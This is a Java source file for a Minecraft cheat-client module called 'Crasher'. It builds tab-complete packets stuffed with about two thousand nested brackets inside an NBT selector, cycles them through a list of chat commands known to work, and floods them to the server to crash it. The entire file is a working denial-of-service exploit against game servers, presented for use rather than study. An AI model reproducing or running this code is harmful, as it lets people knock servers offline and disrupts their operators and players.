import com.darkmagician6.eventapi.EventTarget;
import io.netty.channel.Channel;
import me.sertyo.j2c.J2c;
import net.minecraft.network.IPacket;
import net.minecraft.network.play.client.CTabCompletePacket;
import kadirovclient.events.Main;
import kadirovclient.events.event.player.EventUpdate;
import kadirovclient.events.module.Category;
import kadirovclient.events.module.Module;
import kadirovclient.events.module.ModuleAnnotation;
import kadirovclient.events.utility.misc.ChatUtility;
import kadirovclient.events.utility.misc.TimerHelper;
import java.util.stream.Collectors;
import java.util.stream.IntStream;
@J2c
@ModuleAnnotation(name = "Crasher", category = Category.UTIL)
public class TabCompleteCrasher extends Module {
private static final int packets = 3;
private static final String NBT_EXECUTOR = " @a[nbt={PAYLOAD}]";
private static final String[] KNOWN_WORKING_MESSAGES = {
"msg",
"minecraft:msg",
"tell",
"minecraft:tell",
"tm",
"teammsg",
"minecraft:teammsg",
"minecraft:w",
"minecraft:whisper",
"minecraft:me",
"dm",
"directmessage",
"pm",
"privatemessage"
};
static private int messageIndex = 0;
static TimerHelper timerUtil = new TimerHelper();
@EventTarget
public void onUpdate(EventUpdate eventUpdate) {
if (messageIndex == KNOWN_WORKING_MESSAGES.length - 1) {
messageIndex = 0;
Main.getInstance().getModuleManager().getModule(TabCompleteCrasher.class).setToggled(false);
return;
}
if (timerUtil.hasReached(100)) {
String knownMessage = KNOWN_WORKING_MESSAGES[messageIndex] + NBT_EXECUTOR;
int len = 2044 - knownMessage.length();
String overflow = generateJsonObject(len);
String partialCommand = knownMessage.replace("{PAYLOAD}", overflow);
Channel channel = mc.getConnection().getNetworkManager().channel;
IPacket<?> packet = new CTabCompletePacket(0, partialCommand);
for (int i = 0; i < packets; i++) {
channel.write(packet);
}
channel.flush();
ChatUtility.addChatMessage(String.format("Json successfly sended [%sbyte]", len));
messageIndex++;
}
}
private static String generateJsonObject(int levels) {
String json = IntStream.range(0, levels)
.mapToObj(i -> "[")
.collect(Collectors.joining());
return "{a:" + json + "}";
}
}
